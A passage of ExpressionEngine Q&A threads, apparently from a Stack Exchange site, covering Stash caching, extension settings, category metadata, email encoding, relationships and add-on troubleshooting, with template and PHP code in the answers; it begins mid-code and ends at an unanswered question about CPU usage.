            SELECT  entry_id
            FROM    exp_category_posts
            WHERE   cat_id IN (31, 73)
            GROUP   BY entry_id
            HAVING  COUNT(DISTINCT cat_id ) = 2
    ) s"
}
<div class="col_4">
    <h3>{stash:_cat_hd}</h3>
    <ul class="nb">
    {if '{stash:_group_id}'!=''}
        {exp:stash:get_list
            name="product_categories"
            match="#^{stash:_group_id}#"
            against="group_id"
        }
        {if '{stash:_group_id}'!='5' OR ('{stash:_group_id}'=='5' AND num_cat_entries > 0)}<li>
            <a href="{path={stash:_parent_url}/{cat_url_title}}/" data-cat-id="cat_{cat_id}" data-cat-img="{if cat_image}{exp:ce_img:single src='{cat_image}' width='240' crop='yes' bg_color='#444' url_only='yes'}{if:else}/assets/img/nav_product_generic.png{/if}">{cat_name}</a>
        </li>
        {/if}
        {/exp:stash:get_list}
    {/if}
    {if '{stash:_parent_id}'!=''}
        {exp:stash:get_list
            name="product_categories"
            match="#^{stash:_parent_id}#"
            against="parent_id"
        }
        <li>
            <a href="{path={stash:_parent_url}/{cat_url_title}}/" data-cat-id="cat_{cat_id}" data-cat-img="{if cat_image}{exp:ce_img:single src='{cat_image}' width='240' crop='yes' bg_color='#444' url_only='yes'}{if:else}/assets/img/nav_product_generic.png{/if}">{cat_name}
            </a>
        </li>
        {/exp:stash:get_list}
    {/if}
    </ul>
</div>
{/exp:query}

```

**Then embedded them in the main globally embedded template**

```
{stash:embed
    name="partials:nav_cat_get_list"
    stash:_group_id="4"
    stash:_parent_id=""
    stash:_parent_url="enclosures"
    stash:_cat_hd="Materials"
}

```

The menu also includes some Structure nav tags:

```
{exp:structure:nav
    include_ul="no"
    start_from="/markets/energy-resources"
    max_depth="1"
}

```

and a Super Search form:

```
    <form action="/results/" method="post">
    {exp:super_search:search}
    <label for="keywords">Search</label>
    <input type="search" id="keywords" name="keywords">
    <button type="submit">Go</button>
    {/exp:super_search:search}
</form>

```

Initially the processing of the nav was causing long delays for page loading so I wrapped the whole thing in:

```
{exp:stash:cache
  bundle="global"
  refresh="1440"
  replace="no"
}

```

with `{stash:nocache}` around the search form. That sorted out the page loading times but also killed off the form and replaced it with a string that started off with *\[\_Stash\_1\_*

I tried moving the form outside the `stash:cache` tag but then ended up with pages showing both the form and the odd *\[\_Stash\_1\_* string.

So where am I going wrong, what do I need to do to cache the menu properly while also keeping the search form working?

# Answer
> 1 votes
As I mentioned on Twitter you should not need the Solpace tags to render your search form, according to the docs. The fact that your form does not work without them might point to another issue which you should explore with Solspace.

Nevertheless, if you want to investigate the cache escaping, please make sure you are using the latest version of Stash and create the following templates to create a reduced test of the problem.

1. Create an EE template at `templates/default_templates/tests/top.html` with the following code:

```
{exp:stash:cache}
  {stash:embed name="tests/middle"}
{/exp:stash:cache}

```
2. Create a Stash template at `stash_templates/tests/middle.html` with the following code:

```
{stash:embed name="tests/bottom"}

```
3. Create another Stash template at `stash_templates/tests/bottom.html` with the following code:

```
<form action="/results/" method="post">
{stash:nocache}
 {exp:super_search:search}
    <label for="keywords">Search</label>
    <input type="search" id="keywords" name="keywords">
    <button type="submit">Go</button>
  {/exp:super_search:search}
{/stash:nocache}
</form>

```

If you now view `tests/top` in your browser 3 variables should have been created in the `exp_stash` table, which you can verify with Mustash:

1. `tests/middle` with the value:

```
{stash:embed name="tests/bottom"}

```
2. `tests/bottom` with the value:

```
<form action="/results/" method="post">
{stash:nocache}
 {exp:super_search:search}
    <label for="keywords">Search</label>
    <input type="search" id="keywords" name="keywords">
    <button type="submit">Go</button>
  {/exp:super_search:search}
{/stash:nocache}
</form>

```
3. `tests/top:cache` with the value:

```
<form action="/results/" method="post">
 {exp:super_search:search}
    <label for="keywords">Search</label>
    <input type="search" id="keywords" name="keywords">
    <button type="submit">Go</button>
  {/exp:super_search:search}
</form>

```

`tests/top:cache` is the *compiled* cache of all the templates, and when you view `tests/top` a second time that variable alone with be retrieved and parsed.

Let me know if you get the output expected.

---
Tags: stash, structure, gwcode-categories, cache
---


# Question
Title: once a file has been uploaded to the upload directory in expresssionengine can it be moved on my server?
Can I move files that have been uploaded to the upload directory be moved on my server, or will they be lost in the upload directory and therefore not show on the site?

# Answer
Moving the files will prevent them being served on the site as your templates will be looking in the upload directory for them.

You can move/copy them and then change the upload directory to the new location if this is what you want to achieve. This is done in `Content > Files > File Upload Preferences` and then clicking 'Edit' next to the folder you want to move.

You may need to synchronise the files after doing this.

Hope this helps :)
> 1 votes

---
Tags: assets
---


# Question
Title: Accessing extension settings from plugin throws a PHP warning
I have written a custom add-on which consists of an extension and a plugin.

The extension basically loops through a set of channel entries, gets some matrix data and performs a calculation based on the contents of a grid field and then stores that information within the the entry. This all works great.

The plugin uses the calculation method of the extension and works OK except for one critical element.

The extension features a setting for a "multiplier value" which it uses in its calculation. Everything appears to be fine with this and if I change the value in the extension's settings the resulting figures are correct.

However, the plugin displays a PHP Warning about an Illegal string offset for this multiplier setting. If I hardcode the setting within the extension or remove that part of the calculation then again it works OK.

The problem seems to be the way the extension accesses the setting value. I'm guessing that when used internally it manages to muddle through and works but is fundamentally done incorrectly.

I've got the following within my extension;

```
function settings() {
        $settings = array();
        $settings['points_multiplier']      = array('i', '', "1"); // default value is 1
        return $settings;
    } // END

```

And the method that does the calculation returns a value multiplied by that setting...

```
// use points multiplier (default is 1)
$points_multiplier = $this->settings['points_multiplier'];
$total_credits = $total_credits * $points_multiplier;
return $total_credits;

```

If I dump out the value of $points\_multiplier or $this-\>settings\['points\_multiplier'\] then I get the value expected (although the latter outputs a string).

As far as I can tell, I've done the settings bit correctly.

So why does my plugin throw this warning and ultimately not work?

**UPDATE** Rob Sanchez's answer fixed the problem but for the sake of completeness, here is the code that I *was* using in my plugin.

```
$ext = new Fm_credits_from_entry_ext();

$query = $this->EE->db->select('entry_id')->where('author_id',$this->author_id)->where('channel_id','7')->where('status',$status)->get('channel_titles');

if($query->num_rows() > 0){
    foreach($query->result_array() as $row){
        $credits += $ext->calculate_total_credits($row['entry_id']);
    }
}

```

The missing nugget of information was that when the extension is loaded by the plugin it is necessary to manually load the settings for that extension.

# Answer
Judging from this statement: "The plugin uses the calculation method of the extension", I assume you're doing something like this in your plugin:

```
$ext = new Your_addon_ext();

return $ext->do_calculation(ee()->TMPL->fetch_param('your_value'));

```

In this scenario, the extension object will not automatically load its settings, like it normally does when EE runs its hooks. You have to explicitly load them yourself from the database. I suggest adding a method to your extension to load settings.

```
public function load_settings()
{
    if (empty($this->settings))
    {
        $query = ee()->db->select('settings')
            ->where('class', __CLASS__)
            ->limit(1)
            ->get('extensions');

        $this->settings = unserialize($query->row('settings'));
    }
}

```

Then you can call this in your plugin:

```
$ext = new Your_addon_ext();

// load the extension settings first
$ext->load_settings();

return $ext->do_calculation(ee()->TMPL->fetch_param('your_value'));

```
> 3 votes

# Answer
To get the value of 1 from your `$settings['points_multiplier'];` wouldn't you need to reference it as `$settings['points_multiplier'][2]` since it's an array ?

Or am I missing something?
> 1 votes

# Answer
Have you tried casting the value of `$this->settings['points_multiplier']` to an integer?

```
$points_multiplier = (int) $this->settings['points_multiplier'];

```
> 0 votes

---
Tags: plugin, extension, settings
---


title: Channel categories and metadata

text:
# Question
Title: Channel categories and metadata
For the entries I'm using SEO Lite module but what can I do for categories landing pages metadata except default from SEO Lite module? Conditionals are not the best choice for because I have about 120 categories so I need to have that somehow automated with relation to categories.

Currently I have

```
{if segment_2!="" && segment_3==""}
{embed="includes/.header-product" default_title="{segment_2_category_name} Collection"}
{if:elseif segment_3!=""}
{embed="includes/.header-product" default_title="{segment_2_category_name} {segment_3_category_name}"}
{if:else}
{embed="includes/.header-product"}
{/if}

```

Looking towards any tips.

Thanks

# Answer
Why not just create additional Category Custom Fields? They are quite limiting but a Text Input for Keywords and a Text Area field should suffice for meta data.

You can read more about them here:

https://ellislab.com/expressionengine/user-guide/cp/admin/channels/category\_field\_management.html
> 1 votes

# Answer
Below final solution based on category custom fields (thanks to Mark), SEO Lite module, Low Seg2Cat and GWcode Categories plugin in case someone will have similar problem which I had.

```
{if segment_2!="" && segment_3==""}
    {exp:gwcode_categories show="{segment_2_category_id}" custom_fields="yes" style="linear"}
        {embed="includes/.header-product"
            default_title="{if meta_title==""}{segment_2_category_name} Collection{if:else}{meta_title}{/if}"
            default_keywords="{meta_keywords}"
            default_description="{meta_description}"
        }
    {/exp:gwcode_categories}
{if:elseif segment_3!=""}
    {exp:gwcode_categories show="{segment_3_category_id}" custom_fields="yes" style="linear"}
        {embed="includes/.header-product"
            default_title="{if meta_title==""}{segment_2_category_name} {segment_3_category_name}{if:else}{meta_title}{/if}"
            default_keywords="{meta_keywords}"
            default_description="{meta_description}"
        }
    {/exp:gwcode_categories}
{if:else}
{embed="includes/.header-product"}
{/if}

```
> 2 votes

---
Tags: categories, seo, seo-lite, metadata
---


title: Email encode tag Javascript issues

text:
# Question
Title: Email encode tag Javascript issues
I use `{encode="{webmaster_email}" title="Send E-Mail"}` to hide my email address from harvester bots.

When I use this code within my template all is fine. This code is also part of the footer. The footer is an early parsed variable from the Republic Variables module.

My problem is: {encode} delivers a fully functional `mailto` tag, but also prints the string between the `<script>` tags.

I looked at the HTML source after rendering, extraced the two `{encode}` parts and compared them.

This is the code, that I get, when I put `{encode}` into the template. It renders as a `mailto`, as expected.

```
    <span data-eeEncEmail_FJbRPLRqeP='1'>.(JavaScript must be enabled to view this email
address)</span><script type="text/javascript">/*<![CDATA[*/var out = '',el =
document.getElementsByTagName('span'),l = ['>','a','/','<',' 110',' 101',' 100',' 110','
101',' 115',' 32',' 108',' 105',' 97',' 77',' 45',' 69','>','\"',' 101',' 100',' 46','
97',' 105',' 100',' 101',' 109',' 116',' 117',' 107',' 105',' 100',' 110',' 97',' 98','
64',' 101',' 107',' 99',' 101',' 110',' 114',' 97',' 119','
97',':','o','t','l','i','a','m','\"','=','f','e','r','h','a ','<'],i = l.length,j =
el.length;while (--i >= 0){out += unescape(l[i].replace(/^\s\s*/, '&#'));}while (--j >=
0){/**/if (el[j].getAttribute('data-eeEncEmail_FJbRPLRqeP')){el[j].innerHTML = out;}}/*]]>*
</script>

```

This is the code, that I get from the `{encode}`, that is part of the footer variable. This gives me a fully functional `mailto` plus all the stuff between the `<script>`tags gets rendered as text and appears as such on the page.

```
        <span data-eeEncEmail_OOxdsWxRWB='1'>.(JavaScript must be enabled to view this email address)</span><script type="text/javascript">**/*<![CDATA[*/var out = '',el =
    document.getElementsByTagName('span'),l = ['>','a','/','<',' 110',' 101',' 100','
110',' 101',' 115',' 32',' 108',' 105',' 97',' 77',' 45',' 69','>','\"',' 101',' 100','
46',' 97',' 105',' 100',' 101',' 109',' 116',' 117',' 107',' 105',' 100',' 110',' 97','
98',' 64',' 101',' 107',' 99',' 101',' 110',' 114',' 97',' 119','
97',':','o','t','l','i','a','m','\"','=','f','e','r','h','a ','<'],i = l.length,j =
el.length;while (--i >= 0){out += unescape(l[i].replace(/^\s\s*/, '&#'));}while (--j >=
0){/**/if (el[j].getAttribute('data-eeEncEmail_OOxdsWxRWB')){el[j].innerHTML = out;}}/*]]>*
/**</script>

```

I saved both to a local HTML file and letthe browser render it. I got 2 mailto-links, as expected. So, the code works.

Why does EE add the `CDATA` stuff, when I put `{encode}` in the footer?

EDIT: It seems to be a CSS issue. The "E-Mail me"-Link is part of an inline list in the footer. The respective CSS is

```
ul.inline-list > li > * { display: block; }

```

When I delete this line, the Javascript disappears. Just changeing to display:inline or any other display type doesn´t help. display:none makes the entire entry (the mailto plus the superflous JS) disappear.

# Answer
> 2 votes
The `<!CDATA` block is only required if you need your document to be parsable as `XML`, for example if you're using an \`XHTML~ doctype. For a full explanation of why this was necessary in the past see this stackoverflow qn.

If you're using a modern, HTML5 doctype then using `<!CDATA` isn't necessarily, but I'm guessing EllisLab include it in the `{encode}` output for backwards compatibility with sites that are using the older XHTML doctype.

I suspect the reason that the encode isn't working properly in the footer is probably still a parse order issue - if you use a snippet does it works as expected?

Scratch that: if that is the source copied direct from the outputted page it looks like in your global variable the `<script>` tag is getting stripped from the output, hence the content getting output as text to the page.

What version of EE are you using? Is this GV inside of a conditional? I seem to remember that there was a bug (fixed in 2.5.3) that could cause script tags to be stripped from evaluated variables.

Might still be worth trying a snippet instead of a GV just to see if that works too...

# Answer
> 1 votes
I know this is old, but I ran into this issue and fixed it by setting "Automatically turn URLs and email addresses into links?" to "No" in the appropriate Channel's preferences page (Admin -\> Channel Administration -\> Channels -\> Edit Preferences).

# Answer
> 0 votes
Try turning off the protect javascript config variable: `$config['protect_javascript'] = 'n';`. You can set this in `/system/expressionengine/config/config.php` file. This has solved similar problems for me in the past.

---
Tags: ee2, snippets, variable, javascript, encode
---


title: Search Results Showing Wrong Excerpt

text:
# Question
Title: Search Results Showing Wrong Excerpt
I have a simple search form that seems to be displaying incorrect excerpts. In the channel I am searching, I have 2 channel fields, a file field and a description field.

I have the radio button for the file field set to not be included in search results and I have the radio button for the description field set to be included in search results.

When I try a search for a word that I know to be in the description field, the results gives me the URL of the image in the file field.

Any thoughts as to why this could be happening?

# Answer
I believe so. My understanding is that the radio field is for "should this field be searchable", not "should this be the excerpt on the results page". To set this, go to Admin \> Channel Administration \> Channels \> YOUR CHANNEL \> Edit Preferences \> Administrative Preferences \> Which field should be used for search excerpt? \> Use the select box to pick the correct field.

It does seem a bit back to front, but makes sense when you have much more complex channels.
> 0 votes

---
Tags: simple-search
---


# Question
Title: Control Panel : Hide/show channel fields in channel with custom JS
Is it possible to control if fields could be shown or hidden in the control panel channel publish/edit form depending on whether an options was selected or a value inputted?

For example if I had an input for 'first name' and a user types in that input the 'last name' input would show.

I am thinking this would be be controlled by some JS I have been able to add somewhere. Each channel would have its own JS script.

My thinking behind this is so user don't complete fields they don't need to and then it requires less conditionals in the templates.

# Answer
> 1 votes
Use CP CSS & JS to inject some JQuery.

Then target form#publishForm, something like this

```
if ($("form#publishForm #hold_field_19").val() == "") {
    $("form#publishForm #hold_field_19").hide();
}
$("form#publishForm #field_18").on('input', function() {
    if ($(this).val() != "") {
        $("form#publishForm #hold_field_19").fadeIn();
    }
}

```

Assumes field\_18 is first name and field\_19 is last name.

One problem you may need to add conditionals for in the JQuery is if the first name is empty, but last name is not - you don't want to hide the last name field. Also need to check if the first name is deleted during the editing, should the last name disappear at that point?

> "then it requires less conditionals in the templates."

Not quite sure how that's going to change as you're still going to want to know if a field has a value to display it or not...?

Remember for different channels you can change the layout and what fields are shown hidden (albeit permanently and not relevant to other fields having a value).

# Answer
> 0 votes
The Expression Engine add-on called Entry Type by Rob Sanchez allows you to add a custom field to that lets you create a toggle to show and hide any combination of fields on your publish page. Very handy.

http://devot-ee.com/add-ons/entry-type

---
Tags: control-panel, channel
---


# Question
Title: Using Stash within Stash to pass an entry_id for Safecracker
I'm using Stash in a few ways. First, as a layout template (.layout-account.html). Second, to get variables for testing. But I'm struggling with the final part.

I have two channels - Users (via Zoo Visitor) and Firms. I want the user to be able to edit their own firm via a safecracker form. There exists a Playa field within the Zoo Visitor channel called "Firm". It let's my client choose the correct firm that the user belongs to from the Firms channel.

I have a Low Variable called {lv\_stash\_get\_firm\_id}. This calls a {channel:entries} to get the value of the Playa field for their firm.

```
{exp:channel:entries channel="zoo_visitor" limit="1" author_id="{logged_in_member_id}" status="HCAA_Members-id5|Open" parse="inward"}
    {exp:stash:set name="firm_url"}
        {embed="includes/.get_firm" entry_ids="{member_firm_name:child_ids}"}
    {/exp:stash:set}
{/exp:channel:entries}

```

The template .get\_firm looks like this:

```
{exp:channel:entries channel="firms" fixed_order="{embed:entry_ids}" fixed_order="0|{embed:entry_ids}" dynamic="no" disable="member_data|pagination|categories" status="not closed" parse="inward"}
{entry_id}
{/exp:channel:entries}

```

My template for manage-firm-info looks like this:

```
{embed="layouts/.layout-account" site_top="public_top" security="yes"}
{lv_stash_get_firm_url}
{exp:stash:main_content}
            {if last_segment == "success"}
                <p class="profile-update-success">Your information has been updated.</p>
            {/if}

            {exp:safecracker channel="firms" entry_id="42" return="/profile/{segment_2}/{segment_3}/success" parse="inward"}
                ... Stuff ...
            {/exp:safecracker}
{/exp:stash:main_content}

```

The .layout-account controls all of the header and footer stuff, etc., and also calls {exp:stash:main\_content}

Everything works fine if I use:

{exp:safecracker channel="firms" entry\_id="42" return="/profile/{segment\_2}/{segment\_3}/success"}

or (assuming the entry\_id is in the URL)

{exp:safecracker channel="firms" entry\_id="{segment\_3}" return="/profile/{segment\_2}/{segment\_3}/success"}

But obviously that won't work as the entry\_id won't be the same for each user. Also, I'd rather not show the entry\_id in the URL as someone could then modify it and change someone else's firm.

So I thought I would try to use Stash to set the firm\_id and them pass it into the Safecracker form like this: {exp:safecracker channel="firms" entry\_id="{stash:firm\_url}" return="/profile/{segment\_2}/{segment\_3}/success"}

However, that doesn't work.

If I add {exp:stash:firm\_url} prior to the Safecracker form, it spits out the correct entry\_id. So it's getting that far. But it's not getting to the Safecracker form as it gives me an error that I need a valid entry to edit.

I'm guessing this is a parsing or syntax issue but I just can't quite get there.

Any help or suggestions are greatly appreciated!!

# Answer
OK, so no matter what I did I couldn't get it to work as it was (even though it was outputting the correct value outside of the Safecracker form).

I came across another post and one thing someone said at the end was "I guess I was overthinking it." So I started to go back through and look at everything.

I was already getting a value for the permissions from the Zoo Visitor channel using

```
{exp:zoo_visitor:details}
    {exp:stash:set name="permissions"}{cf_member_firm_permissions}{/exp:stash:set}
{/exp:zoo_visitor:details}

```

So I added another call in there to get my firm\_id

```
{exp:zoo_visitor:details} {!-- This finds out whether they are editor or not --}
    {exp:stash:set name="permissions"}{cf_member_firm_permissions}{/exp:stash:set}
   {exp:playa:children field="member_firm_name"}
        {exp:stash:set name="firm_id"}{entry_id}{/exp:stash:set}
   {/exp:playa:children}
{/exp:zoo_visitor:details}

```

I was able to use entry\_id="{exp:stash:firm\_id}". The additional bonus is that it also saved me from having to run the extra embed to pull the entry\_id from the Firms channel.
> 0 votes

# Answer
If you want to pass a variable in a parameter to any EE template tag, you need to add `parse="inward"` to the tag. For example:

```
{exp:stash:set name="firm_id"}1{/exp:stash:set}

{exp:safecracker channel="firms"
   entry_id="{exp:stash:firm_id}"
   return="/profile/{segment_2}/{segment_3}/success"
   parse="inward"
}
...
{/exp:safecracker}

```

EDIT: another way you pass a variable to another tag is via a placeholder variable inside `{exp:stash:parse}`:

```
{exp:stash:set name="firm_id"}1{/exp:stash:set}

{exp:stash:parse}
    {exp:safecracker channel="firms"
       entry_id="{stash:firm_id}"
       return="/profile/{segment_2}/{segment_3}/success"
    }
    ...
    {/exp:safecracker}
{/exp:stash:parse}

```

In either case, make sure the variable you are passing doesn't contain line breaks since those are captured too; E.g. this will fail when you try to pass as a parameter:

```
{exp:stash:set name="firm_id"}
1
{/exp:stash:set}

```

If you want to remove line breaks automatically, use the `trim="yes"` parameter on either set or get:

```
{exp:stash:set name="firm_id" trim="yes"}
1
{/exp:stash:set}

```
> 2 votes

---
Tags: safecracker, stash
---


# Question
Title: Problems with the native EE relationships siblings tag
I have recently upgraded a website to 2.9.0 from 2.5.x so I'm trying to take advantage of the new (to me) relationship capabilities, specifically the siblings tag. We have for a long time, had a relationship field (`pro_related_program`) set up in our programs channel where you can choose another program as a related program. This allowed us to create program series, with one overview program page (the mutual child of many parents) and child program pages with a link back to the overview page.

On those child program pages I'd like an "other programs in this series" link. Since it wasn't working for me, I build a bare bones template for testing:

```
<html><head><title>Test</title></head><body>
  <h1>relationship test</h1>
  {exp:channel:entries channel="programs" url_title="PFA" status="not nonexistant"}
    <h2>{title}</h2>

{siblings field="pro_related_program" status="not nonexistant"}{if siblings:no_results}No results a{/if}<p>{siblings:title}</p>{/siblings}

{pro_related_program}{pro_related_program:siblings field="pro_related_program" status="not nonexistant"}{if pro_related_program:siblings:no_results}No results b{/if}<p>{siblings:title}</p>{/pro_related_program:siblings}{/pro_related_program}

  {/exp:channel:entries}
</body></html>

```

the result is as follows:

```
<html><head><title>Test</title></head><body>
  <h1>relationship test</h1>

    <h2>Program title here</h2>

No results a

</body></html>

```

So what am I doing wrong?

* Is it because both parents and children are both coming from the programs channel?
* Is it, as I suspect it might be, because my relationship is backwards for how EE would like it to be for siblings? (The parent should be the overview?) Or to put it another way, do siblings only work on relationship entries where you can choose multiple children?
    + If that is the cause, is there a good way to fake the siblings tag for my situation?
    + If not, is there a way to use the channel entries tag to spit out a list of programs with a relationship field filled in? I can test all of these things, but if someone knows it would help.

# Answer
> 0 votes
OK, no answers were immediately forthcoming so I worked it out on my own. Two answer my questions at the end of the question:

* It is not caused by both entries being from the same channel
* It is because the relationship set up is backwards as far as the EE relationships field is concerned. It does appear that siblings only work on relationship fields where you have enabled multiple selections
    + There is a way to fake siblings in the case of multiple parents with a single child, I'll demonstrate it below. Good or not is for you to decide.
    + This question intentionally left unanswered. I don't know, I'm not ambitious enough to find out right now.

## Fake it 'Til We Make it

Remember that my channel is programs and the relationship field we are working with is pro\_related\_program. We are trying to display other entries that are part of this program series, which means we are looking for other parents that share the same child entry. Here is the code that worked for me:

```
{pro_related_program channel="programs" field="pro_related_program" status="not open|closed|under_development"}
  <h2>Program Series</h2>
  <p>This session is part of a larger series.  For more information see <a href="{pro_related_program:title_permalink="programs/catalogue"}" title="TDLC: {pro_related_program:title}">{pro_related_program:title}</a></p>
  {pro_related_program:parents field="pro_related_program" status="not open|closed|under_development" orderby="entry_date" sort="asc"}
    {if pro_related_program:parents:total_results > 1}
      {if pro_related_program:parents:count ==1}<h3>Other Sessions in this Series</h3><ol>{/if}
      <li>
        {if pro_related_program:parents:url_title != segment_3}
          <a href="{pro_related_program:parents:title_permalink="/programs/catalogue"}">{pro_related_program:parents:title}</a>
        {if:else}
          {pro_related_program:parents:title}
        {/if}
      </li>
      {if pro_related_program:parents:count == pro_related_program:parents:total_results}</ol>{/if}
    {/if}
  {/pro_related_program:parents}
{/pro_related_program}

```

This page is loading the entry based on the url\_title in segment\_3. I decided to show the title of the current page as well, but toggle the link using `{if pro_related_program:parents:url_title != segment_3}` this could just as easily (slightly easier in fact) have been used to not show the current page title.

So how does this work? We use the relationship field tag `{pro_related_program}` to load the series overview page information and then use `{pro_related_program:parents}` to load all the session entries for the series. In retrospect this seems obvious, but it would have been very difficult to do with native tags before the relationships update. Namespacing opens up new realms of possibility.

I hope someday someone finds this useful.

---
Tags: ee2, relationships, core
---


# Question
Title: Channel Ratings - since EE upgrade to 2.9 only first comment shows + Memory limit reached
I've been using Channel Ratings for a few years now all with no issues. However I've noticed since upgrading EE to 2.9 that only the first comments on any one entry appears (on some entries there are 10's of comments with ratings).

I have also just upgraded Channel Ratings to 4.0.8 from 4.0.3.

Reviewing the update notes on both EE and Channel ratings I don thik there aren't any template changes (are there) that I should be aware of so I can't work out why this would be happening.

Any pointers much appreciated.

My code as follows:

```
<?php $commentCount = 0; ?>
    {exp:comment:entries sort="asc" entry_id="{entry_id}" limit="10"}
        <?php $commentCount++; ?>
        <article class="review">

            <div class="review-meta">
                {exp:channel_ratings:rating_comment comment_id="{comment_id}"}
                <div class="rating rated-2">{rating:overall:stars}</div>
                {/exp:channel_ratings:rating_comment}
                <p>{name}</p>
                <time datetime="">{comment_date format="%d/%m/%Y"}</time>
            </div>

            <div class="review-content">
                <p>{comment}</p>
            </div><!-- .review-content -->

            <div class="feedback">

                {exp:channel_ratings:likes comment_id="{comment_id}"}
                    {if rating:not_voted}
                        {exp:channel_ratings:new_like comment_id="{comment_id}" allow_guests="yes"}
                            <div class="useful">
                                <p class="label">Was this comment useful to you?</p>
                                <p><a href="{rating:like_url}">Yes</a> <a href="{rating:dislike_url}">No</a></p>
                            </div>
                        {/exp:channel_ratings:new_like}
                    {/if}
                    {if rating:liked OR rating:disliked}
                        <p class="abuse">{if rating:liked}{rating:liked} {if rating:liked == 1}person{if:else}people{/if} found this useful <br />{/if}{if rating:disliked}{rating:disliked} {if rating:disliked == 1}person{if:else}people{/if} did not find this useful{/if}</p>
                    {/if}
                {/exp:channel_ratings:likes}

                <!--<p class="abuse"><a href="#">Report abuse</a></p>-->

            </div>

        </article>
    {/exp:comment:entries}

    <?php
    if($commentCount < 1)
    {
        ?><article class="review">

            <div class="review-meta"></div>

            <div class="review-content">
                <p>Be the first to write a review!</p>
            </div><!-- .review-content -->

            <div class="feedback"></div>

        </article><?php
    }
    ?>

    {exp:comment:form channel="channel_name_here" entry_id="{entry_id}" rating:enabled="yes" rating:allow_guests="yes" }
    <div id="review-form" class="review-form">
        {if rating:already_rated}
            <h3 class="title-style">You have already <strong>reviewed this entry</strong></h3>
        {if:else}

            <h3 class="title-style">Write <strong>a Review</strong></h3>

            {if logged_out}
                <div class="form-field">
                    <label for="name">Name</label>
                    <input type="text" name="name" id="name" value="{name}" size="50" />
                </div>
                <div class="form-field">
                    <label for="email">Email</label>
                    <input type="text" name="email" id="email" value="{logged_in_email}" size="50" />
                </div>

            {/if}

            <div class="form-field">
                <label for="email">Review</label>
                <textarea name="comment" cols="70" rows="10">{comment}</textarea>
            </div>

            {if rating:not_rated}
                <div class="form-field">
                    <label for="rating">Rating</label>
                    <select name="rating[default]" id="review">
                        <option value="5">5</option>
                        <option value="4">4</option>
                        <option value="3">3</option>
                        <option value="2">2</option>
                        <option value="1">1</option>
                    </select>
                </div>
            {/if}

            <div class="form-field submit">
                <input type="submit" class="form-button">
            </div>

        {/if}
    </div>
    {/exp:comment:form}

```

\** UPDATE \**

Since posting this another issue with the comments / ratings has popped up. On some of my pages with lots of comments & ratings (30+) I've been reaching the memory limit for the mysql\_result.php script. Whilst I realise this might be a clue that I should paginate my comments, this issue didn't appear until I upgraded.

\** UPDATE 2 \**

Even using the most basic comment code results in only the first comment appearing:

```
{exp:comment:entries sort="asc" limit="20" entry_id="{entry_id}"}
    {comment}
    <p>By {name} on {comment_date format="%Y %m %d"}</p>{/exp:comment:entries}

```

# Answer
> 1 votes
I was having the same problem. Mine is related to Structure and there is a known fix.

https://support.ellislab.com/bugs/detail/20559/comment-display-is-incorrect

---
Tags: upgrade, comments, channel-ratings
---


title: Using a variable in a match with Stash

text:
# Question
Title: Using a variable in a match with Stash
I'm trying to use a variable in a match for a stash get\_list like so, but it doesn't appear to be working;

I'm setting an initial entry\_id here for a place;

```
{exp:channel:entries
    channel="places"
    status="open"
    {global:channel_disable_basic}
}
{exp:stash:set name="place_id"}{entry_id}{/exp:stash:set}
{/exp:channel:entries}

```

Then I'm getting a list of events like so which contains an Event Venue as a custom field;

```
{exp:stash:set_list
    name="venue-events"
    parse_tags="yes"
    parse_conditionals="yes"
    parse_depth="3"
    save="yes"
    scope="site"
}
    {exp:calendar:cal
        calendar_id="4871"
        first_day_of_week="1"
        enable="custom_fields"
        date_range_start="today"
        date_range_end="+ 12 months"
        pad_short_weeks="n"
        dynamic="yes"
    }
        {stash:venue_event_title}{title}{/stash:venue_event_title}
        {stash:venue_event_venue}{cf_event_venue}{entry_id}{/cf_event_venue}{/stash:venue_event_venue}
    {/exp:calendar:cal}
{/exp:stash:set_list}

```

Then finally i'm using the 'place' entry\_id above to match against the 'venue\_event\_venue';

```
{exp:stash:get_list
    name="venue-events"
    require_prefix="no"
    parse_tags="yes"
    parse_depth="3"
    match="#^{exp:stash:get name='place_id'}$#"
    against="venue_event_venue"
}
    <pre>{venue_event_title}, {venue_event_date}, {venue_event_venue}</pre>
{/exp:stash:get_list}

```

I can't get `{exp:stash:get name='place_id'}` to work in the 'match' but on it's own it does return a value.

Grateful for any advice here.

# Answer
Bit late, but anyhow: you need to use parse="inward" when passing a tag as a parameter:

```
{exp:stash:get_list
    name="venue-events"
    require_prefix="no"
    parse_tags="yes"
    parse_depth="3"
    match="#^{exp:stash:get name='place_id'}$#"
    against="venue_event_venue"
    parse="inward"
}
...
{/exp:stash:get_list}

```

Alternatively you can use the variable as a placeholder when wrapping with {exp:stash:parse}

```
{exp:stash:parse}
   {exp:stash:get_list
       name="venue-events"
       require_prefix="no"
       parse_tags="yes"
       parse_depth="3"
       match="#^{stash:place_id}$#"
       against="venue_event_venue"
       parse="inward"
   }
   ...
   {/exp:stash:get_list}

{exp:stash:parse}

```
> 1 votes

# Answer
NOTE: This code is untested!!

Depending on your exact template scenario, try this first:

```
//Set your stash to wrap the channel entry instead of being contained within
//Use trim to remove whitespace
{exp:stash:set name="place_id" parse_tags="yes" trim="yes"}
{exp:channel:entries
    channel="places"
    status="open"
    {global:channel_disable_basic}
}
{entry_id}
{/exp:channel:entries}
{/exp:stash:set}

```

If that doesnt work, set the stash as a snippet:

```
{exp:stash:set name="place_id" parse_tags="yes" trim="yes" type="snippet"}
…
{/exp:stash:set}

```

Then get it using traditional snippet style:

```
{exp:stash:get_list
    name="venue-events"
    require_prefix="no"
    parse_tags="yes"
    parse_depth="3"
    match="#^{place_id}$#"
    against="venue_event_venue"
}

```

I guess if all that fails you can try `{exp:stash:parse}` something like this:

```
{exp:stash:parse process="end"}
{exp:stash:get_list
    name="venue-events"
    match="#^{exp:stash:get name='place_id'}$#"
    against="venue_event_venue"
}
    <pre>{venue_event_title}, {venue_event_date}, {venue_event_venue}</pre>
{/exp:stash:get_list}
{/exp:stash:parse}

```
> 0 votes

---
Tags: stash
---


# Question
Title: CPU Usage Doubled Upgrading from 2.7.3 to 2.8.1
We recently upgraded from 2.7.3 to 2.8.1 and our Apache/PHP CPU usage has skyrocketed. MySQL usage has stayed about the same... no notable impact there, but we're definitely chewing more processing time with PHP.

We updated all of our add-ons, etc., separately so I think the only thing that changed in concert with the CPU load is the actual EE Core to 2.8.1.

Anything in there that would cause this? We use eAccelerator and that's still running and caching all the new scripts, but it sure *seems* like it's not running. That or, more likely, something else is just not jiving right.

Any thoughts?

Thank you!

# Answer
